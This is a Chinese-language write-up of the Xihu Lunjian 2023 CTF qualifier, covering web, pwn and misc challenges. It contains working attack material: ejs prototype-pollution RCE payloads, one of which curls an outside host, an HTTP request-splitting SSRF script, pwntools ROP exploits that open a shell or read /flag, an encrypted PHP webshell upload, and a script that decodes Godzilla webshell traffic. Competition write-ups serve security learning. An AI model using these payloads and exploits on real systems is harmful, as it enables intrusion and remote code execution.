西湖论剑 2023 预赛 writeup
WEB
Web1
[nodejs|原型链污染|ejs|拆分攻击]
前言
主要是node 8.12.0的一个http.get解析洞,通过拆分攻击实现的SSRF攻击
和ejs RCE+safeobj原型链污染(CVE-2021-25928)
查了下这种属于拆分攻击(HTTP Splitting),和请求走私(HTTP Smuggling)有点区别。
RCE
这里一开始挺简单,有个safeobj包,一看safeobj.expand()
,游戏结束。
拿着POC测试了下环境,通过。
1 2 3 4 5
| var safeObj = require("safe-obj"); var obj = {}; console.log("Before : " + {}.polluted); safeObj.expand(obj, '__proto__.polluted', 'Yes! Its Polluted'); console.log("After : " + {}.polluted);
|
网上有很多payload,以下两个都可以,后面的字样无所谓,主要是_tmp1;
前面一定要有填充字符。
1 2
| {"constructor.prototype.outputFunctionName":"_tmp1;process.mainModule.require('child_process').exec('calc')"} {"constructor.prototype.outputFunctionName":"_tmp1;glabol.process.mainModule.require('child_process').exec('calc')"}
|
由于自作聪明,将_tmp1;
填充数据删除,本地弹了计算器,打远程靶机失败。
拆分攻击
在这里浪费了很多时间,折腾几个小时发现原来是本地node版本忘记换了。
可以用nc看包的形状,方便构造
比如先这么构造
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| import requests import urllib.parse
payload = ''' HTTP/1.1
GET /copy HTTP/1.1 Host: 127.0.0.1:8001 '''.replace("\n", "\r\n")
def payload_encode(raw): ret = u"" for i in raw: ret += chr(0x0100 + ord(i)) return ret
payload = payload_encode(payload) print(payload) #ĠňŔŔŐįıĮıčĊčĊŇŅŔĠįţůŰŹĠňŔŔŐįıĮıčĊňůųŴĺĠıIJķĮİĮİĮıĺĸİİıčĊ
|
然后nodejs执行
1 2 3 4
| const http = require('http') url = "http://127.0.0.1:8000/?q=" q = "ĠňŔŔŐįıĮıčĊčĊŇŅŔĠįţůŰŹĠňŔŔŐįıĮıčĊňůųŴĺĠıIJķĮİĮİĮıĺĸİİıčĊ" http.get(url + q)
|
会发现nc -lvvp 8000
收到包请求。(注意,此时8001端口不会收到请求,因为没有东西去处理第二个包!!!!!!!在这又浪费好多时间)
此时就可以根据包情况调整,显然上方的包缺了个GET /
加上去后如下:
掌握该技巧可以便于HTTP走私/HTTP拆分构造,当然第三个请求可以直接用Connection: close
处理。
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| import requests import urllib.parse
payload = ''' HTTP/1.1
POST /copy HTTP/1.1 Host: 127.0.0.1 Content-Type: application/json Connection: close Content-Length: 151
{"constructor.prototype.outputFunctionName":"_tmp1;process.mainModule.require('child_process').exec('curl https://as564d1gads.free.beeceptor.com/1')"} '''.replace("\n", "\r\n")
def payload_encode(raw): ret = u"" for i in raw: ret += chr(0x0100 + ord(i)) return ret
payload = payload_encode(payload)
r = requests.get('http://127.0.0.1:3000/curl?q=' + urllib.parse.quote(payload)) print(r.text)
|
注意点
1.直接给/copy
发包,会弹计算器。但是通过拆分攻击不会!因此浪费一个下午!
其实问题还是在于出现访问/?q=
的请求,以为请求包构造有误。
2.第二个请求中的HOST无论是Host: 127.0.0.1
还是Host: 127.0.0.1:3000
皆测试通过,原因未知。
3.网上文章有关以下两段payload编码方案说是等价,实测第一种无法命令执行(nc查看包,拆分无误),在这个地方又浪费好多时间。
1 2 3 4 5 6 7 8 9 10 11 12
| payload = payload.replace('\r\n', '\u010d\u010a') \ .replace('+', '\u012b') \ .replace(' ', '\u0120') \ .replace('"', '\u0122') \ .replace("'", '\u0a27') \ .replace('[', '\u015b') \ .replace(']', '\u015d') \ .replace('`', '\u0127') \ .replace('"', '\u0122') \ .replace("'", '\u0a27') \ .replace('[', '\u015b') \ .replace(']', '\u015d')
|
1 2 3 4 5
| def payload_encode(raw): ret = u"" for i in raw: ret += chr(0x0100 + ord(i)) return ret
|
4.Content-Length
如果和请求体长度相差较大会有影响,相差一两个无所谓。所以尽量还是精准计算。
5.第二个请求加上Connection: close
就不需要闭合后面的请求。经过多次测试,目前不加Connection: close
而去闭合第三个请求暂未成功。
Web3
这题有点奇怪,上来上传文件,提示multipart/form-data
,随便改了下大小写,给flag了。
Web5
能任意读文件,先试试读 flag,发现是权限不够。
能上传文件,嵌入 html
1 2 3 4 5
| <form enctype="multipart/form-data" method="post" action="/?a=upload"> <p>请选择要上传的图片:<p> <input class="input_file" type="file" name="file"/> <input class="button" type="submit" name="submit" value="上传" /> </form>
|
发现上传 php 之后无法解析,那么只能看看它是不是装了一些扩展,有一个 zend_test
,直接去下载它的 so 源码。
1 2 3 4 5 6 7 8 9 10 11
| from requests import * url='http://80.endpoint-ac92aedd97164b2c88bc90db78453a9d.m.ins.cloud.dasctf.com:81/?a=read&file=/usr/local/lib/php/extensions/no-debug-non-zts-20190902/zend_test.so' p=get(url)
s=p.content s=s[s.find(b'\x7fELF'):] f=open('zend.so','wb+')
f.write(s) f.close()
|
ida逆向一下,发现它对文件进行了 RC4 加密,key是 abcsdfadfjiweur
,那么我也想着对我们的 php 文件进行 RC4 加密之后丢上去。
发现成功解析,直接上蚁剑,但是 flag 还是不能读,还以为要内核cve,后来发现 sudo 改了权限可以直接读。
Web6
[nodejs]
flag1毫无难度
flag2要求验证checkcode,长度为16,且checkcode==aGr5AtSp55dRacer
因为有个大小写转换函数toLowerCase()
,所以无法直接匹配
根据js弱类型判定
1 2 3
| var obj = ["1"] console.log(typeof obj); console.log(obj == "1");
|
所以输个字符串数组即可。
1
| "a","G","r","5","A","t","S","p","5","5","d","R","a","c","e","r"
|
PWN
baby calc
利用 off by null 漏洞和变量覆盖,修改 i 到返回地址,把返回指令修改成 leave ret
进行栈迁移。提前布置好 rop 链,第一次泄露地址,第二次 getshell。
因为某个函数调用存在栈对齐,因此返回 main 的时候要往后移一个字节少 push 一个寄存器。
返回的时候有一个数字判断,这个直接算然后一次填充完就好了。
z3:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| from z3 import * s=Solver() v3,v4,v5,v6,v7,v8,v9,v10,v11,v12,v13,v14,v15,v16,v17,v18=Ints('v3 v4 v5 v6 v7 v8 v9 v10 v11 v12 v13 v14 v15 v16 v17 v18') s.add(v3==19) s.add(v5 * v4 * v3 - v6 == 36182) s.add( v5 * 19 * v4 + v6 == 36322) s.add( (v13 + v3 - v8) * v16 == 32835) s.add( (v4 * v3 - v5) * v6 == 44170) s.add( (v5 + v4 * v3) * v6 == 51590) s.add( v9 * v8 * v7 - v10 == 61549) s.add( v10 * v15 + v4 + v18 == 19037) s.add( v9 * v8 * v7 + v10 == 61871) s.add( (v8 * v7 - v9) * v10 == 581693) s.add( v11 == 50) s.add( (v9 + v8 * v7) * v10 == 587167) s.add( v13 * v12 * v11 - v14 == 1388499) s.add( v13 * v12 * v11 + v14 == 1388701) s.add( (v12 * v11 - v13) * v14 == 640138) s.add( (v11 * v5 - v16) * v12 == 321081) s.add( (v13 + v12 * v11) * v14 == 682962) s.add( v17 * v16 * v15 - v18 == 563565) s.add( v17 * v16 * v15 + v18 == 563571) s.add( v14 == 101) s.add( (v16 * v15 - v17) * v18 == 70374) s.add( (v17 + v16 * v15) * v18 == 70518 ) print(s.check()) print(s.model())
|
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| from pwn import * context.log_level='debug'
pop_rdi=0x0000000000400ca3 main=0x400c1a sh=0 sys=0 def conn(x,filename): if x: p=process(filename) else: p=remote('tcp.cloud.dasctf.com',22391) return p,ELF(filename),ELF('./libc/libc-2.23-64.so') def sendnum(x,offset,flag): p.recvuntil(b':') payload=str(x).encode() payload=payload.ljust(0x8,b'\0') payload+=p64(0x400c19)*(25-4) if flag==0: payload+=p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(main+1) else: payload+=p64(pop_rdi)+p64(sh)+p64(sys)+p64(main+1) payload+=buf payload=payload.ljust(0xf8+4,b'e') payload+=p32(offset) p.send(payload) v12 = 131 v6 = 70 v10 = 161 v16 = 199 v18 = 3 v3 = 19 v5 = 53 v13 = 212 v7 = 55 v9 = 17 v11 = 50 v17 = 24 v4 = 36 v14 = 101 v15 = 118 v8 = 66 buf=p8(v3)+p8(v4)+p8(v5)+p8(v6)+p8(v7)+p8(v8)+p8(v9)+p8(v10)+p8(v11)+p8(v12)+p8(v13)+p8(v14)+p8(v15)+p8(v16)+p8(v17)+p8(v18) p,elf,libc=conn(0,'./babycalc')
sendnum(0x18,0x38,0) libc_addr=u64(p.recvuntil(b'\x7f')[-6:]+b'\0\0')-libc.sym['puts'] success('libc_addr: '+hex(libc_addr)) sh=libc_addr+libc.search(b'/bin/sh').__next__() sys=libc_addr+libc.sym['system']
sendnum(0x18,0x38,1) p.interactive()
|
因为栈地址不确定,所以exp有概率失败,在上面填充很多 ret 增加成功率,地址泄露题目版本为 2.23-0ubuntu11.3
。
Message
先利用格式化字符串漏洞泄露栈地址和堆地址,然后利用栈迁移 orw 去读取flag。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| from pwn import * context.log_level='debug' leave=0x00000000004012e1 pop_rdi=0x0000000000401413 def conn(x,filename): if x: p=process(filename) libc=ELF('./libc-2.31.so') else: p=remote('tcp.cloud.dasctf.com',20585) libc=ELF('./libc-2.31.so') return p,ELF(filename),libc p,elf,libc=conn(0,'./pwn') p.sendafter(b'name:','%p%24$p')
p.recvuntil('0x') stack_addr=int(p.recv(12),16)+0xc0 success('libc_addr: '+hex(stack_addr))
p.recvuntil('0x') libc_addr=int(p.recv(12),16)-0x1f42e8+0x3000 success('libc_addr: '+hex(libc_addr))
pop_rsi=libc_addr+0x000000000002601f pop_rdx=libc_addr+0x0000000000142c92 op=libc.sym['open']+libc_addr wr=libc.sym['write']+libc_addr flag=stack_addr-0xb0
payload=(b'/flag\0\0\0'+\ p64(pop_rdi)+p64(flag)+p64(pop_rsi)+p64(0)+p64(op)+\ p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(stack_addr+0x90)+p64(pop_rdx)+p64(0x30)+p64(elf.plt['read'])+\ p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(stack_addr+0x90)+p64(pop_rdx)+p64(0x30)+p64(wr)).ljust(0xb0,b'a')+p64(stack_addr-0xb0)+p64(leave)
p.sendafter(b'DASCTF:',payload)
p.interactive()
|
MISC
签到题喵
图片后面有一串多余的字符串,拿出来转换一下
然后获得flag
mp3
方向错了,一开始以为是频谱隐写,结合文件名cihper,Windows的确有个cipher.exe的工具,但是只是一个文件加密工具,把能试的工具都试了一遍,发现foremost分离出一张图片
zsteg看出有个通道有zip文件,提取一下
但发现解压需要密码,密码一定藏在文件里
这时候想到mp3隐写有个对口工具了,在wav压缩到到mp3的过程中隐藏数据
拿到这一串,应该就是压缩包密码了(好险,这要是暴力破解得跑到什么时候
解压得到这么一串,感觉没什么头绪,mp3文件名意为密码,应该需要解码,但加密方式那么多,到底是哪个
在工具中搜索47发现有个rot47匹配,解密出来也是一大串
同队大佬提醒这个很像某脚本或者命令(难道是因为后面有分号吗
在各种编程软件和命令行里奔跑一下,最后在控制台得出结果
take_the_zip_easy
压缩包是加密的,压缩包内有一个和流量包名字相同的压缩包
确定是明文攻击,上工具
然后用密钥把文件取出来
检查发现http中含有post请求,筛选一下发现对upload有上传文件操作,把文件提取出来
发现有个瞩目的zip文件,结合题目名称,此压缩文件内含flag,但压缩包是加密的
尝试了各种压缩包解密,都行不通,检查流量包的时候发现有冰蝎和哥斯拉流量的弱标志,逐个仔细检查发现是哥斯拉流量加密
用脚本解密一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php
function encode($D,$K){ for($i=0;$i<strlen($D);$i++){ $c = $K[$i+1&15]; $D[$i] = $D[$i]^$c; } return $D; }
$pass='air123'; $payloadName='payload'; $key='d8ea7326e6ec5916';
echo encode(base64_decode(urldecode('J%2B5pNzMyNmU2mij7dMD%2FqHMAa1dTUh6rZrUuY2l7eDVot058H%2BAZShmyrB3w%2FOdLFa2oeH%2FjYdeYr09l6fxhLPMsLeAwg8MkGmC%2BNbz1%2BkYvogF0EFH1p%2FKFEzIcNBVfDaa946G%2BynGJob9hH1%2BWlZFwyP79y4%2FcvxxKNVw8xP1OZWE3')),$key);
?>
|
得到压缩包密码airDAS1231qaSW@,解压一下拿到flag,使用记事本打开就拿到了结果